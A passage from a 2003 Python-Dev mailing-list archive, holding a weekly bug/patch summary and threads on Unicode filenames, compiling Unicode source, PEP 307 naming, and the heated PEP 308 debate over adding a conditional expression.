apparently can also mean that the filename arg is bad. Not sure if we can fix this. Just From skip@manatee.mojam.com Sun Feb 9 13:00:20 2003 From: skip@manatee.mojam.com (Skip Montanaro) Date: Sun, 9 Feb 2003 07:00:20 -0600 Subject: [Python-Dev] Weekly Python Bug/Patch Summary Message-ID: <200302091300.h19D0KQQ007342@manatee.mojam.com> Bug/Patch Summary ----------------- 336 open / 3310 total bugs (-15) 123 open / 1962 total patches (+2) New Bugs -------- Security review of pickle/marshal docs (2001-10-16) http://python.org/sf/471893 long(3.1415) gives zero on Solaris 8 (2003-02-03) http://python.org/sf/679520 Header loses lines, formats strangely (2003-02-03) http://python.org/sf/679827 'compile' refuses BOM. (2003-02-03) http://python.org/sf/679880 zipfile.py - pack filesize as unsigned allows files > 2 gig (2003-02-03) http://python.org/sf/679953 Incorrect permissions set in lib-dynload. (2003-02-04) http://python.org/sf/680379 __module__ broken for extension classes (2003-02-04) http://python.org/sf/680429 urllib2 authentication problem (2003-02-04) http://python.org/sf/680577 repr() of large array objects takes quadratic time (2003-02-05) http://python.org/sf/680789 C subtypes do not inherit tp_as_buffer (2003-02-05) http://python.org/sf/681367 Source encoding rules are extreme. (2003-02-06) http://python.org/sf/681960 Carbon.CF.CFString should require ASCII (2003-02-07) http://python.org/sf/682215 plistlib.py selftest fails (2003-02-07) http://python.org/sf/682317 email: preamble must be \n terminated (2003-02-07) http://python.org/sf/682504 urllib2 HTTPDigestAuthHandler misnamed class attr (2003-02-07) http://python.org/sf/682648 dircache.listdir doesn't signal error (2003-02-08) http://python.org/sf/682813 gzip module cannot write large files (2003-02-08) http://python.org/sf/683061 New Patches ----------- xmlrpclib: better string encoding in responce package (2003-02-03) http://python.org/sf/679383 SimpleXMLRPCServer: optional 'encoding' argument (2003-02-03) http://python.org/sf/679392 Deprecate rotor module (2003-02-03) http://python.org/sf/679505 Fix for the bug #679880: 'compile' refuses BOM. (2003-02-04) http://python.org/sf/680474 replace() method in unicode objects (2003-02-05) http://python.org/sf/680863 Tiny patch for bug 612074: sre unicode escapes (2003-02-05) http://python.org/sf/681152 using gcc on cygwin for config (2003-02-05) http://python.org/sf/681504 smtpd.py move setuid, allow dashes (2003-02-05) http://python.org/sf/681515 Faster commonprefix (OS independent) (2003-02-06) http://python.org/sf/681780 bundlebuilder: Add dylibs, frameworks to the bundle (2003-02-06) http://python.org/sf/681927 lookbehind tests (2003-02-07) http://python.org/sf/682432 Optional output streams for dis (2003-02-08) http://python.org/sf/683074 Patch for bug 580952: import lock should be exposed (2003-02-08) http://python.org/sf/683257 Closed Bugs ----------- pydoc should be integrated with HTML doc (2001-03-02) http://python.org/sf/405554 sdist can't create empty directories (2001-04-02) http://python.org/sf/413144 urllib and socket fail with MS proxy (2001-05-23) http://python.org/sf/426866 distutils does not deduce dependencies (2001-10-19) http://python.org/sf/472881 popen3 file objects hanging (2001-11-14) http://python.org/sf/481896 python 2.2 shelve (2002-01-16) http://python.org/sf/504282 pydoc fails to generate html doc (2002-02-07) http://python.org/sf/514627 Interpreter crashes when recoding (2002-04-13) http://python.org/sf/543344 Inconsistent behaviour in re grouping (2002-07-01) http://python.org/sf/576079 Subclassing WeakValueDictionary impossib (2002-07-11) http://python.org/sf/580107 add way to detect bsddb version (2002-07-21) http://python.org/sf/584409 SMTP.login() uses invalid base64 enc. (2002-09-18) http://python.org/sf/611052 help(UNICODE) -- reference page missing (2002-10-17) http://python.org/sf/624860 Move bdist_wininst source code into PC (2002-11-14) http://python.org/sf/638595 Discovered typo in zlib test. (2002-11-18) http://python.org/sf/640230 help() fails for some builtin topics (2002-11-21) http://python.org/sf/642168 typeobject provides incorrect __mul__ (2002-12-30) http://python.org/sf/660144 urllib2 exceptions need improvement (2003-01-04) http://python.org/sf/662099 Crash in binascii_a2b_uu (2003-01-09) http://python.org/sf/665460 'help' makes linefeed only under Win32 (2003-01-11) http://python.org/sf/666444 Abort with "negative ref count" (2003-01-15) http://python.org/sf/668433 time module: time tuple not returned by certain functions (2003-01-21) http://python.org/sf/671731 setting socket timeout crashes SSL? (2003-01-23) http://python.org/sf/673797 re.compile fails for verbose re with more than one group (2003-01-24) http://python.org/sf/674264 os.environ leaks under FreeBSD and Mac OS X (2003-01-26) http://python.org/sf/675259 BaseHTTPServer; HTTP/1.1 spec not "vague" (2003-01-28) http://python.org/sf/676273 BaseHTTPServer incorrectly parses protocol (2003-01-28) http://python.org/sf/676292 after using pdb readline does not work correctly (2003-01-28) http://python.org/sf/676342 add warning to os.getlogin (2003-01-31) http://python.org/sf/678077 list.append memory leak ? (2003-01-31) http://python.org/sf/678352 test_long fails (2003-01-31) http://python.org/sf/678375 Closed Patches -------------- start docs for PyEval_* functions (2002-04-12) http://python.org/sf/543098 cmd.py: add instance-specific stdin/out (2002-05-20) http://python.org/sf/558544 PEP 269 Implementation (2002-08-23) http://python.org/sf/599331 build_ext forgets libraries par w MSVC (2002-08-28) http://python.org/sf/601314 Modulefinder doesn't handle PyXML (2002-11-13) http://python.org/sf/637835 PEP 298 implementation (2002-12-12) http://python.org/sf/652857 gzip shouldn't ValueError on corruptfile (2002-12-15) http://python.org/sf/654421 apply() should get PendingDeprecation (2003-01-02) http://python.org/sf/661437 distutils config exe_extension on Mac OS X, Linux (2003-01-07) http://python.org/sf/664131 Expand dbshelve to have full shelve/dict interface (2003-01-24) http://python.org/sf/674396 Cygwin _tkinter Tcl/Tk 8.4 patch (2003-01-29) http://python.org/sf/676835 zlib module needs decompress flush. (2003-01-31) http://python.org/sf/678531 Use ifilter in sets module (2003-02-01) http://python.org/sf/678899 From guido@python.org Sun Feb 9 13:11:07 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 09 Feb 2003 08:11:07 -0500 Subject: [Python-Dev] Unicode source code In-Reply-To: "Your message of Sun, 09 Feb 2003 09:41:00 +0100." References: Message-ID: <200302091311.h19DB7129167@pcp02138704pcs.reston01.va.comcast.net> > Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), wouldn't > it be fairly small step to fully support unicode strings in compile(), > eval() and exec? I notice these still attempt to convert unicode to 8 > bit with the default encoding, which isn't very useful. I guess that's in the "would be nice" category; alas it's also in the "I don't have time for it" category. If you can figure out how easy it would be, I'm open for a patch. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sun Feb 9 13:20:30 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 09 Feb 2003 08:20:30 -0500 Subject: [Python-Dev] Unicode filenames In-Reply-To: "Your message of Sun, 09 Feb 2003 12:59:51 +0100." References: Message-ID: <200302091320.h19DKUc29219@pcp02138704pcs.reston01.va.comcast.net> > MacOSX fully supports unicode filenames (utf-8 is used throughout), and > I'm tempted to set Py_FileSystemDefaultEncoding to "utf8" for OSX. Jack > pointed me to a long thread about unicode filenames that took place on > python-dev last year, but I can't deduce from it whether there are any > disadvantages of setting Py_FileSystemDefaultEncoding. > > Setting it seems to work wonderful. However, I'm a bit surprised that > os.listdir() doesn't return unicode strings. Is that because it would > break too much code? I think that's shallow: the special-casing of unicode_file_names() only exists in the Windows branch of the code. > BTW. if I try to create a file with an 8-bit filename which is _not_ > valid utf-8, I get a strange error: > > >>> f = open("\xff", "w") > Traceback (most recent call last): > File "", line 1, in ? > IOError: invalid mode: w > >>> > > This exception is thrown when errno is EINVAL, which apparently can also > mean that the filename arg is bad. Not sure if we can fix this. I think we should (maybe we already do) check the mode string more carefully ourselves, and not rely on undocumented correlations between error returns. --Guido van Rossum (home page: http://www.python.org/~guido/) From mal@lemburg.com Sun Feb 9 14:42:59 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sun, 09 Feb 2003 15:42:59 +0100 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E4668F3.8020904@lemburg.com> Guido van Rossum wrote: >>I very much appreciate Guido putting forward a PEP on if >>expressions, but I must say the idea of letting c.l.p 'vote' on it >>is unwelcome. Voting only makes sense when an electorate is educated >>enough to properly understand the proposition and its consequences; >>the discussion so far makes clear that that isn't true. Programming >>languages need to be designed, not agglutinated. (Otherwise you get >>Perl and Fortran 2000 (:->) > > > Part of my "cunning plan" is to show that indeed this doesn't work. > I'm hoping you will forgive me this once-only Macchiavellian move. :-) > > >>I think it is fair to say that being the head designer of a language >>can lead to frustration at times; I had to endure it on a much >>smaller scale and it was very hard to keep patiently explaining how >>the features had to fit together, and how they had to be both >>parseable and implementable and learnable, and that not every little >>difficulty is worth a language feature. > > > I admit I've lost some of my patience. Showing that there is immense > resistance to if-then-else expressions (even if there is also a lot of > pressure to add them) would make it easier in the future to explain > why they aren't there. Good plan :-) Except maybe one nit: some of us here in python-dev don't read c.l.p, so their vote wouldn't get taken into account. Even though you didn't want this to be discussed here, I hope you don't mind posting my -1 here. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 09 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 51 days left EuroPython 2003, Charleroi, Belgium: 135 days left From mal@lemburg.com Sun Feb 9 14:44:32 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sun, 09 Feb 2003 15:44:32 +0100 Subject: [Python-Dev] Unicode source code In-Reply-To: References: Message-ID: <3E466950.2070707@lemburg.com> Just van Rossum wrote: > Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), wouldn't > it be fairly small step to fully support unicode strings in compile(), > eval() and exec? I notice these still attempt to convert unicode to 8 > bit with the default encoding, which isn't very useful. Patches are most welcome. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 09 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 51 days left EuroPython 2003, Charleroi, Belgium: 135 days left From pyth@devel.trillke.net Sun Feb 9 14:56:35 2003 From: pyth@devel.trillke.net (holger krekel) Date: Sun, 9 Feb 2003 15:56:35 +0100 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <3E4668F3.8020904@lemburg.com>; from mal@lemburg.com on Sun, Feb 09, 2003 at 03:42:59PM +0100 References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> Message-ID: <20030209155635.T1706@prim.han.de> M.-A. Lemburg wrote: > [gvr] > > I admit I've lost some of my patience. Showing that there is immense > > resistance to if-then-else expressions (even if there is also a lot of > > pressure to add them) would make it easier in the future to explain > > why they aren't there. > > Good plan :-) > > Except maybe one nit: some of us here in python-dev don't read > c.l.p, so their vote wouldn't get taken into account. Even though > you didn't want this to be discussed here, I hope you don't mind > posting my -1 here. It seems there we will a separate Call-for-votes (probably done by Aahz) also to the announce list so it's not too difficult to participate. Nobody will try to sort out the votes from the well over 600 postings (and growing). No doubt, the real motiviation was to boost python's popularity so that it wins the 'february' comparisons of language newsgroup activities. holger From pinard@iro.umontreal.ca Sun Feb 9 15:24:48 2003 From: pinard@iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=) Date: 09 Feb 2003 10:24:48 -0500 Subject: [Python-Dev] Re: vox populii illiterati In-Reply-To: <3E4668F3.8020904@lemburg.com> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> Message-ID: [M.-A. Lemburg] > Good plan :-) > Except maybe one nit: some of us here in python-dev don't read > c.l.p, so their vote wouldn't get taken into account. The trend of discussions seem to suggest that the result of that effort will be summarised by statistics: this syntactic construct, this number of votes. But the spirit of a PEP, if I understand it well, is mainly to register the outcome of all discussions, opinions and reasons behind them, and how these were weighted and pondered into any final decision. The idea is that later newcomers can then be directed to its PEP whenever a subject pops up again. One problem here is that the PEP author (Guido) does not intend to follow the whole discussion, admittedly fluent in these days. How will it be reported then, in the spirit of a PEP, that is, more than mere statistics? -- François Pinard http://www.iro.umontreal.ca/~pinard From guido@python.org Sun Feb 9 15:39:28 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 09 Feb 2003 10:39:28 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: "Your message of Sun, 09 Feb 2003 15:56:35 +0100." <20030209155635.T1706@prim.han.de> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> Message-ID: <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> > Nobody will try to sort out the votes from the well over > 600 postings (and growing). Ouch. And it's only Sunday morning here. That exceeds my wildest expectations. Is anybody at least collecting useful feedback? I'm willing to update the PEP to at least mention sensible alternatives or arguments pro and con, but I can't read the c.l.py messages. > No doubt, the real motiviation was to boost python's popularity so > that it wins the 'february' comparisons of language newsgroup > activities. I didn't even know there was such a comparison. Seems pretty silly to me. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From just@letterror.com Sun Feb 9 15:53:47 2003 From: just@letterror.com (Just van Rossum) Date: Sun, 9 Feb 2003 16:53:47 +0100 Subject: [Python-Dev] Unicode source code In-Reply-To: <3E466950.2070707@lemburg.com> Message-ID: M.-A. Lemburg wrote: > Just van Rossum wrote: > > Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), > > wouldn't it be fairly small step to fully support unicode strings > > in compile(), eval() and exec? I notice these still attempt to > > convert unicode to 8 bit with the default encoding, which isn't > > very useful. > > Patches are most welcome. Some guidance on where to look is more than welcome. Just From gward@python.net Sun Feb 9 16:32:18 2003 From: gward@python.net (Greg Ward) Date: Sun, 9 Feb 2003 11:32:18 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com> References: <200302071833.h17IXNl11929@odiug.zope.com> Message-ID: <20030209163218.GA10758@cthulhu.gerg.ca> On 07 February 2003, Guido van Rossum said: > I'm assuming a fair number of people have been following this already > in the checkins list; I think it's ready for review on python-dev: > > http://www.python.org/peps/pep-0307.html Haven't read the whole thing, but this: > Several functions, methods and constructors used for pickling used > to take a positional argument named 'bin' which was a flag, > defaulting to 0, indicating binary mode. This argument is renamed > to 'proto' and now gives the protocol number, still defaulting to 0. gave me pause: 'protocol' would be much clearer, and only costs three more characters. Greg -- Greg Ward http://www.gerg.ca/ Know thyself. If you need help, call the CIA. From mal@lemburg.com Sun Feb 9 16:39:59 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sun, 09 Feb 2003 17:39:59 +0100 Subject: [Python-Dev] Unicode source code In-Reply-To: References: Message-ID: <3E46845F.4040805@lemburg.com> Just van Rossum wrote: > M.-A. Lemburg wrote: > > >>Just van Rossum wrote: >> >>>Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), >>>wouldn't it be fairly small step to fully support unicode strings >>>in compile(), eval() and exec? I notice these still attempt to >>>convert unicode to 8 bit with the default encoding, which isn't >>>very useful. >> >>Patches are most welcome. > > Some guidance on where to look is more than welcome. The tokenizer/compiler works as follows (quote from another email): """ source code using encoding ENC -> via codec for ENC into Unicode -> via UTF-8 codec into UTF-8 string -> tokenizer -> compiler for 8-bit string literals in the source code -> UTF-8 string is converted back into encoding ENC Provided that the encoding ENC is roundtrip safe for all 256 base character ordinals, 8-bit strings will turn out as-is in the compiled byte code. """ Now, to accept Unicode it would probably be worthwhile hooking into this chain at step 2 rather than step 1 (the code for the tokenizer is in Parser/tokenizer.c, the compiler code in Python/compiler.c), however, this is difficult because most APIs for compiling code are built on char* buffers. A short-term solution would probably be to convert Unicode to UTF-8 and prepend a UTF-8 BOM mark so that the tokenizer knows that it is getting UTF-8. Haven't tested this though. A slightly better solution (on narrow Unicode Python builds) would be to use UTF-16 for this. The UTF-16 support in the tokenizer would have to be enabled for this, though. It is currently disabled for some reason I don't remember. Martin should know... but he's on vacation. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 09 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 51 days left EuroPython 2003, Charleroi, Belgium: 135 days left From neal@metaslash.com Sun Feb 9 16:51:10 2003 From: neal@metaslash.com (Neal Norwitz) Date: Sun, 09 Feb 2003 11:51:10 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030209165109.GO23059@epoch.metaslash.com> On Sun, Feb 09, 2003 at 10:39:28AM -0500, Guido van Rossum wrote: > > Nobody will try to sort out the votes from the well over > > 600 postings (and growing). > > Ouch. And it's only Sunday morning here. That exceeds my wildest > expectations. > > Is anybody at least collecting useful feedback? I'm willing to update > the PEP to at least mention sensible alternatives or arguments pro and > con, but I can't read the c.l.py messages. I have read most of the posts. It's a bit humorous to watch emotions get so stirred in both directions. It seems there are many python-devers following the discussion: Aahz, Andrew Koenig (ARK), Michael Hudson, Holger Krekel, and Tim have all posted. ARK seems to be the most pro, Aahz the most against. (I'm +0 on having a ternary operator in theory, -1 on PEP 308.) ARK can do the best job of summarizing the pro-side, but the strongest arguments I've seen are that using a ternary op can reduce bugs by not duplicating a variable on assignment: if cond: x = true_value else: x = false_value vs. (in C notation): x = cond ? true_value : false_value Since x is only mentioned once, you can't get it wrong. Part of the reason for using if-expressions (the ternary op) is the programmer has a different mindset. They aren't thinking about control (as in an if statement). They are thinking about an expression and the ternary operator allows them to program what they are thinking. It also would be usable in lambdas. Many against feel that using a conditional (if) is always control. (I'm generalizing a bit.) One thing to note, many people are saying you can currently do: cond and true_value or false_value However, many have gotten it wrong, either by reversing the true/false value or by using something in the true_value which may be false (sometimes even constants). pychecker tries to find this condition (when true_value is a false constant), but it does a poor job of determining the idiom IIRC. Neal From pedronis@bluewin.ch Sun Feb 9 16:54:24 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 9 Feb 2003 17:54:24 +0100 Subject: [Python-Dev] vox populii illiterati References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> Message-ID: <019801c2d05b$e68d0c80$6d94fea9@newmexico> From: "Neal Norwitz" > One thing to note, many people are saying you can currently do: > > cond and true_value or false_value > > However, many have gotten it wrong, either by reversing the true/false > value or by using something in the true_value which may be false > (sometimes even constants). pychecker tries to find this condition > (when true_value is a false constant), but it does a poor job > of determining the idiom IIRC. that's why the real one (if any) should be spelled cond and! true_val or! false_val <.5 wink>. Sorry I couldn't resist. From skip@pobox.com Sun Feb 9 16:57:02 2003 From: skip@pobox.com (Skip Montanaro) Date: Sun, 9 Feb 2003 10:57:02 -0600 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <3E4668F3.8020904@lemburg.com> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> Message-ID: <15942.34910.830154.909129@montanaro.dyndns.org> mal> Except maybe one nit: some of us here in python-dev don't read mal> c.l.p, so their vote wouldn't get taken into account. Given the volume of traffic it has generated in c.l.py I doubt all of the active python-dev'ers voting one way or the other would have an effect on the outcome of the vote, unless of course Aahz computes the tally in Florida. ;-) Skip From aahz@pythoncraft.com Sun Feb 9 17:08:08 2003 From: aahz@pythoncraft.com (Aahz) Date: Sun, 9 Feb 2003 12:08:08 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <15942.34910.830154.909129@montanaro.dyndns.org> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <15942.34910.830154.909129@montanaro.dyndns.org> Message-ID: <20030209170808.GA14898@panix.com> On Sun, Feb 09, 2003, Skip Montanaro wrote: > > Given the volume of traffic it has generated in c.l.py I doubt all of the > active python-dev'ers voting one way or the other would have an effect on > the outcome of the vote, unless of course Aahz computes the tally in > Florida. ;-) Chicago suits me better. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From tim.one@comcast.net Sun Feb 9 17:15:44 2003 From: tim.one@comcast.net (Tim Peters) Date: Sun, 09 Feb 2003 12:15:44 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <20030209165109.GO23059@epoch.metaslash.com> Message-ID: [Neal Norwitz] > ... > One thing to note, many people are saying you can currently do: > > cond and true_value or false_value > > However, many have gotten it wrong, either by reversing the true/false > value or by using something in the true_value which may be false > (sometimes even constants). pychecker tries to find this condition > (when true_value is a false constant), but it does a poor job > of determining the idiom IIRC. Indeed, that's been the most amazing part of the discussion to me. Not so much the form above: everyone gets that wrong in the case true_value may actually be false, but I don't agree they're prone to swap the values. But *virtually* everyone got the order wrong when rewriting examples with the weaker (false_value, true_value)[cond] variant (they swap the values in the tuple). That's evidence that the expression-like workarounds don't really work for real people. The other really interesting stuff has been Andre Dalke digging into mounds of C++ code, and finding bad (or at best dubious) uses of ?:. I believe his claim that if Python grows a conditional expression, lots of people coming from C will use it out of habit instead of learning that min(), max() and abs() are built in. That's evidence that people are people . From just@letterror.com Sun Feb 9 17:22:45 2003 From: just@letterror.com (Just van Rossum) Date: Sun, 9 Feb 2003 18:22:45 +0100 Subject: [Python-Dev] Unicode source code In-Reply-To: <3E46845F.4040805@lemburg.com> Message-ID: M.-A. Lemburg wrote: > Now, to accept Unicode it would probably be worthwhile hooking > into this chain at step 2 rather than step 1 (the code for the > tokenizer is in Parser/tokenizer.c, the compiler code in > Python/compiler.c), however, this is difficult because most > APIs for compiling code are built on char* buffers. > > A short-term solution would probably be to convert Unicode to > UTF-8 and prepend a UTF-8 BOM mark so that the tokenizer > knows that it is getting UTF-8. Haven't tested this though. Hm. What I'm looking into now is to simply define a PyCompilerFlags flag called PyCF_SOURCE_IS_UTF8. eval() and compile() will then convert a unicode string to utf-8 and set this flag. This seems a very low-impact solution. Does this make sense? Just From pedronis@bluewin.ch Sun Feb 9 17:25:24 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 9 Feb 2003 18:25:24 +0100 Subject: [Python-Dev] vox populii illiterati References: Message-ID: <023f01c2d060$3b84ec40$6d94fea9@newmexico> From: "Tim Peters" > [Neal Norwitz] > > ... > > One thing to note, many people are saying you can currently do: > > > > cond and true_value or false_value > > > > However, many have gotten it wrong, either by reversing the true/false > > value or by using something in the true_value which may be false > > (sometimes even constants). pychecker tries to find this condition > > (when true_value is a false constant), but it does a poor job > > of determining the idiom IIRC. > > Indeed, that's been the most amazing part of the discussion to me. Not so > much the form above: everyone gets that wrong in the case true_value may > actually be false, but I don't agree they're prone to swap the values. But > *virtually* everyone got the order wrong when rewriting examples with the > weaker > > (false_value, true_value)[cond] > > variant (they swap the values in the tuple). That's evidence that the > expression-like workarounds don't really work for real people. > does that mean that all the _ and _ or _ in the std lib have been written by bots ? From python@rcn.com Sun Feb 9 17:36:57 2003 From: python@rcn.com (Raymond Hettinger) Date: Sun, 9 Feb 2003 12:36:57 -0500 Subject: PEP 308 Was: [Python-Dev] vox populii illiterati References: Message-ID: <002701c2d061$d8173580$125ffea9@oemcomputer> This thread needs to be renamed. It asserts that democracy doesn't work because masses of people are stupid. Besides not being true in general, it applies even less in this specific case because we are dealing with a group that reads, that programs, that debates, and that chose Python over languages that have more shelve space at the bookstore. Out of respect for the process (such as it is) and for the user base, Brett please rename the thread in your summary. Raymond Hettinger From pyth@devel.trillke.net Sun Feb 9 17:57:32 2003 From: pyth@devel.trillke.net (holger krekel) Date: Sun, 9 Feb 2003 18:57:32 +0100 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <20030209165109.GO23059@epoch.metaslash.com>; from neal@metaslash.com on Sun, Feb 09, 2003 at 11:51:10AM -0500 References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> Message-ID: <20030209185732.W1706@prim.han.de> Neal Norwitz wrote: > On Sun, Feb 09, 2003 at 10:39:28AM -0500, Guido van Rossum wrote: > > Is anybody at least collecting useful feedback? I'm willing to update > > the PEP to at least mention sensible alternatives or arguments pro and > > con, but I can't read the c.l.py messages. > > I have read most of the posts. It's a bit humorous to watch emotions > get so stirred in both directions. It seems there are many > python-devers following the discussion: Aahz, Andrew Koenig (ARK), > Michael Hudson, Holger Krekel, and Tim have all posted. ARK seems > to be the most pro, Aahz the most against. (I'm +0 on having > a ternary operator in theory, -1 on PEP 308.) > > ARK can do the best job of summarizing the pro-side, but the > strongest arguments I've seen are that using a ternary op can > reduce bugs by not duplicating a variable on assignment: > > if cond: > x = true_value > else: > x = false_value > > vs. (in C notation): > x = cond ? true_value : false_value > > Since x is only mentioned once, you can't get it wrong. Right. OTOH there seems to be the fear (especially from the more experienced folks maintaining large code bases) that the ternary op *will* be used in non-assignments despite often beeing bad style. E.g. starting from if obj.method(): ... and realizing that 'obj' might not have "method" some might write: if obj.method() if hasattr(obj, 'method') else False: ... which many consider a bad thing to be valid. There are a *lot* of variations on this theme (with while/list-comps/lambda) and people have reacted with punctuation (?:), new keywords (when) and any mixture between those. Clearly, you don't need the ternary operator for the above because there is an obvious other solution: if hasattr(obj, 'method') and obj.method(): ... and thus people indicated in various threads that having the ternary op prevents people from getting to better and easier solutions. > Part of the reason for using if-expressions (the ternary op) is the > programmer has a different mindset. They aren't thinking about > control (as in an if statement). They are thinking about an > expression and the ternary operator allows them to program what they > are thinking. Andrew Dalke posted a nice survey on 15 different ternary-op examples in his 42.500 line C-code base (written by different programmers). Although it's not about python code it hits a nerve because quite some people come with a C background (different mindset) and miss the ternary OP: http://mail.python.org/pipermail/python-list/2003-February/145592.html I think this link could be included in the PEP under something like "Often (but not always) there are better Python-solutions than with C regarding ternary OP.". As no single person can follow all the c.l.py postings i think we might "preprocess" and send Guido "important" links together with a short summary (or just the latter) to be included in the PEP. regards, holger From tim.one@comcast.net Sun Feb 9 18:02:32 2003 From: tim.one@comcast.net (Tim Peters) Date: Sun, 09 Feb 2003 13:02:32 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <023f01c2d060$3b84ec40$6d94fea9@newmexico> Message-ID: [Samuele Pedroni] > does that mean that all the _ and _ or _ in the std lib have been > written by bots ? Pretty much, looks like: simple uses by simple bots, overwhelmingly with the thingie following "and" being a string literal or global CONSTANT. This oddball from imaplib.py wasn't written by anyone/anything on this planet, though: l = map(lambda x:'%s: "%s"' % (x[0], x[1][0] and '" "'.join(x[1]) or ''), l) I doubt it would read better as l = map(lambda x:'%s: "%s"' % (x[0], '" "'.join(x[1]) if x[1][0] else ''), l) From just@letterror.com Sun Feb 9 18:59:06 2003 From: just@letterror.com (Just van Rossum) Date: Sun, 9 Feb 2003 19:59:06 +0100 Subject: [Python-Dev] Unicode source code In-Reply-To: Message-ID: I wrote: > Hm. What I'm looking into now is to simply define a PyCompilerFlags > flag called PyCF_SOURCE_IS_UTF8. eval() and compile() will then > convert a unicode string to utf-8 and set this flag. This seems a > very low-impact solution. Does this make sense? Whether it makes sense I don't know , but it _does_ work. I've uploaded a patch, including test for eval() and compile(): http://python.org/sf/683515 Just From aleax@aleax.it Sun Feb 9 19:10:29 2003 From: aleax@aleax.it (Alex Martelli) Date: Sun, 9 Feb 2003 20:10:29 +0100 Subject: PEP 308 Was: [Python-Dev] vox populii illiterati In-Reply-To: <002701c2d061$d8173580$125ffea9@oemcomputer> References: <002701c2d061$d8173580$125ffea9@oemcomputer> Message-ID: <200302092010.29792.aleax@aleax.it> On Sunday 09 February 2003 06:36 pm, Raymond Hettinger wrote: > This thread needs to be renamed. Yes -- "populii" is a mis-spelling, since the ending 'i' should not be doubled up (genitive of "populus" is "populi"). Alex From rnd@onego.ru Sun Feb 9 20:37:57 2003 From: rnd@onego.ru (Roman Suzi) Date: Sun, 9 Feb 2003 23:37:57 +0300 (MSK) Subject: [Python-Dev] Re: PEP 308 In-Reply-To: <200302092010.29792.aleax@aleax.it> Message-ID: Inline if is about extending Python's functional paradigm by adding a function those two arguments (out of 3) are evaluated only if needed. Isn't it better to provide more general mechanism so arbitrary function could evaluate it's arguments on demand? (Or what about evaluating everything lazily?) Then everybody could build his/her own if-function and much more. (LISPers will be happy ;-) This "inline if" debate is, IMHO, dual to "code thunks" thread at python-dev, because in one case we want full-scale lambdas, and in another one - ifs, reduced to fit expression. Both do not have nice syntactic solutions in spirit of Python. This is symptomatic. More bridges are needed between control statements and expressions. Why only if deserves inline version? What about k = try a/b except c 